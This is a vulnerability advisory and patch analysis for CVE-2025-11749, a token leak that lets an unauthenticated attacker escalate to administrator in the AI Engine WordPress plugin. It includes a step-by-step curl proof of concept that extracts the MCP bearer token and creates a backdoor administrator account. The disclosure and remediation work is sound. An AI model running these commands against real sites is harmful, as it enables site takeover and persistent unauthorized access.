CVE-2025-11749: Privilege Escalation in AI Engine Plugin
Table of Contents
CVE-2025-11749 is a CVSS 9.8 Critical vulnerability in the AI Engine WordPress plugin. It allows an unauthenticated attacker to steal a private authentication token and use it to become a site administrator. When the “No-Auth URL” feature is enabled, the plugin leaks its MCP bearer token through the public WordPress REST API discovery index. An attacker who finds that token can authenticate as an administrator, create backdoor admin accounts, and take over the site.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | AI Engine – The Chatbot, AI Framework & MCP for WordPress |
| Plugin Slug | ai-engine |
| CVE ID | CVE-2025-11749 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Sensitive Information Exposure to Privilege Escalation |
| Affected Versions | <= 3.1.3 |
| Patched Version | 3.1.4 |
| Published | November 4, 2025 |
| Researcher | Emiliano Versini |
| Wordfence Advisory | Link |
Description
The AI Engine plugin (versions up to and including 3.1.3) exposes its private MCP bearer token through the /mcp/v1/ REST API endpoint when the “No-Auth URL” option is enabled. An unauthenticated attacker who finds this token can use it to authenticate as an administrator. From there, they can create new admin accounts and take over the site.
Technical Analysis
Vulnerable Code Path
The vulnerability lives in labs/mcp.php within the rest_api_init() method (lines 98–123).
When the site administrator enables the “No-Auth URL” feature (mcp_noauth_url option), the plugin registers WordPress REST API routes with the private bearer token embedded directly in the URL path:
// labs/mcp.php, lines 98-123
$noauth_enabled = $this->core->get_option( 'mcp_noauth_url' );
if ( $noauth_enabled && !empty( $this->bearer_token ) ) {
register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
'methods' => 'GET',
'callback' => [ $this, 'handle_sse' ],
'permission_callback' => function ( $request ) {
return $this->handle_noauth_access( $request );
},
] );
register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
'methods' => 'POST',
'callback' => [ $this, 'handle_sse' ],
'permission_callback' => function ( $request ) {
return $this->handle_noauth_access( $request );
},
] );
register_rest_route( $this->namespace, '/' . $this->bearer_token . '/messages', [
'methods' => 'POST',
'callback' => [ $this, 'handle_message' ],
'permission_callback' => function ( $request ) {
return $this->handle_noauth_access( $request );
},
] );
}
This creates REST routes of the form:
GET /wp-json/mcp/v1/<BEARER_TOKEN>/ssePOST /wp-json/mcp/v1/<BEARER_TOKEN>/ssePOST /wp-json/mcp/v1/<BEARER_TOKEN>/messages
None of these route registrations includes 'show_in_index' => false, so WordPress includes them in its public REST API discovery index.
Full execution path to privilege escalation:
- Attacker calls
GET /wp-json/(unauthenticated) → WordPress returns a JSON object listing all registered REST routes, includingmcp/v1/<SECRET_TOKEN>/sseandmcp/v1/<SECRET_TOKEN>/messages - Attacker parses the JSON response and extracts
<SECRET_TOKEN>from the route path - Attacker sends a JSON-RPC
tools/callPOST request to/wp-json/mcp/v1/ssewithAuthorization: Bearer <SECRET_TOKEN>header - The
auth_via_bearer_token()filter (lines 144–217) validates the token viahash_equals(), sets the current user to the site administrator (wp_set_current_user($admin->ID)), and grants full access - Attacker calls the
wp_create_userMCP tool (defined inlabs/mcp-core.php, line 64) withrole=administratorto create a backdoor admin account
The wp_create_user tool implementation (labs/mcp-core.php, lines 634–648):
case 'wp_create_user':
$data = [
'user_login' => sanitize_user( $a['user_login'] ),
'user_email' => sanitize_email( $a['user_email'] ),
'user_pass' => $a['user_pass'] ?? wp_generate_password( 12, true ),
'display_name' => sanitize_text_field( $a['display_name'] ?? '' ),
'role' => sanitize_key( $a['role'] ?? get_option( 'default_role', 'subscriber' ) ),
];
$uid = wp_insert_user( $data );
No role restriction prevents an attacker from passing 'role' => 'administrator'.
Root Cause
The register_rest_route() calls for the No-Auth URL endpoints do not set 'show_in_index' => false. WordPress’s REST API discovery index (/wp-json/) enumerates all registered routes by default. Because the secret bearer token is embedded in the route path itself, WordPress exposes it directly in the public discovery response.
Failed Security Controls
The authentication design for the No-Auth URL feature is fundamentally flawed: the bearer token is both the secret and the URL path. Keeping the token secret meant hoping no one would discover the URL. However, WordPress’s REST API index makes all route paths publicly accessible, which completely breaks that idea. Once the token is known, the auth_via_bearer_token() function treats it as fully valid and elevates the session to administrator level.
Attack Impact
An unauthenticated remote attacker can:
- Extract the MCP bearer token from the public REST API index
- Gain administrator-level access to the WordPress site
- Create new administrator accounts (persistent backdoor)
- Read, modify, or delete any WordPress content, settings, or users
- Potentially execute arbitrary code if other MCP tools or plugins permit it
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
ai-engineplugin installed and activated - Plugin version <= 3.1.3
- The “No-Auth URL” option enabled in AI Engine settings (Settings → MCP → Enable No-Auth URL)
- A bearer token configured in AI Engine MCP settings
Step-by-Step Reproduction
Step 1: Discover the bearer token via REST API index
Call the public WordPress REST API discovery endpoint. No authentication is required.
curl -s https://TARGET-SITE.com/wp-json/ | python3 -m json.tool | grep "mcp/v1"
In the response, look for routes matching the pattern mcp/v1/<TOKEN>/sse. The token is the path segment between mcp/v1/ and /sse.
Example output:
"mcp\/v1\/s3cr3t-b34r3r-t0k3n\/sse": { ... },
"mcp\/v1\/s3cr3t-b34r3r-t0k3n\/messages": { ... }
Extract s3cr3t-b34r3r-t0k3n as the bearer token.
Step 2: Verify token validity against the authenticated SSE endpoint
Use the extracted token as a Bearer token against the standard (non-No-Auth) MCP endpoint.
curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
-H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","clientInfo":{"name":"test","version":"1.0"}}}'
A valid JSON-RPC result response confirms the token is accepted and administrator access is granted.
Step 3: List available MCP tools
curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
-H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'
The response lists all available tools, including wp_create_user, wp_update_user, wp_delete_post, and many others.
Step 4: Create a new administrator account
curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
-H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "wp_create_user",
"arguments": {
"user_login": "backdoor-admin",
"user_email": "attacker@evil.com",
"user_pass": "Str0ngP@ssword!",
"role": "administrator"
}
}
}'
Expected Result
The plugin creates a new WordPress user with administrator role. The attacker now has persistent admin access to the WordPress site and can log in via wp-admin using the credentials they specified.
Verification
After executing Step 4, verify the new account exists:
curl -s -X POST https://TARGET-SITE.com/wp-json/mcp/v1/sse \
-H "Authorization: Bearer s3cr3t-b34r3r-t0k3n" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 4,
"method": "tools/call",
"params": {
"name": "wp_get_users",
"arguments": {"search": "backdoor-admin"}
}
}'
Or log in to the WordPress admin panel at https://TARGET-SITE.com/wp-admin with backdoor-admin / Str0ngP@ssword!.
Patch Analysis
Changes in Version 3.1.4
Only one file was changed: labs/mcp.php.
The fix adds 'show_in_index' => false to each of the three No-Auth URL route registrations.
Fix Explanation
The show_in_index argument in register_rest_route() controls whether a route appears in the WordPress REST API discovery index (/wp-json/). Setting it to false prevents WordPress from including these token-embedded routes in the public discovery response. The routes still work for clients that already know the URL. The difference is that the token no longer appears in the public index.
This is a targeted fix that addresses the information disclosure root cause. It does not change the underlying No-Auth URL design (which still embeds the token in the route path), so the token remains sensitive. It stops being advertised publicly.
Residual risk: If the bearer token was previously exposed (before patching), it should be rotated, because the fix does not invalidate already-leaked tokens. Site owners should regenerate the MCP bearer token after upgrading.
Code Diff (Key Changes)
- register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
- 'methods' => 'GET',
- 'callback' => [ $this, 'handle_sse' ],
- 'permission_callback' => function ( $request ) {
- return $this->handle_noauth_access( $request );
- },
- ] );
+ register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
+ 'methods' => 'GET',
+ 'callback' => [ $this, 'handle_sse' ],
+ 'permission_callback' => function ( $request ) {
+ return $this->handle_noauth_access( $request );
+ },
+ 'show_in_index' => false,
+ ] );
register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
'methods' => 'POST',
'callback' => [ $this, 'handle_sse' ],
'permission_callback' => function ( $request ) {
return $this->handle_noauth_access( $request );
},
+ 'show_in_index' => false,
] );
register_rest_route( $this->namespace, '/' . $this->bearer_token . '/messages', [
'methods' => 'POST',
'callback' => [ $this, 'handle_message' ],
'permission_callback' => function ( $request ) {
return $this->handle_noauth_access( $request );
},
+ 'show_in_index' => false,
] );
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Emiliano Versini |
| November 4, 2025 | Publicly disclosed by Wordfence |
| November 5, 2025 | Advisory last updated |
| November 4, 2025 | Patched version 3.1.4 released |
Remediation
Update the ai-engine plugin to version 3.1.4 or later. After updating, regenerate the MCP Bearer Token in AI Engine settings (Settings → MCP → Bearer Token) to invalidate any previously leaked tokens.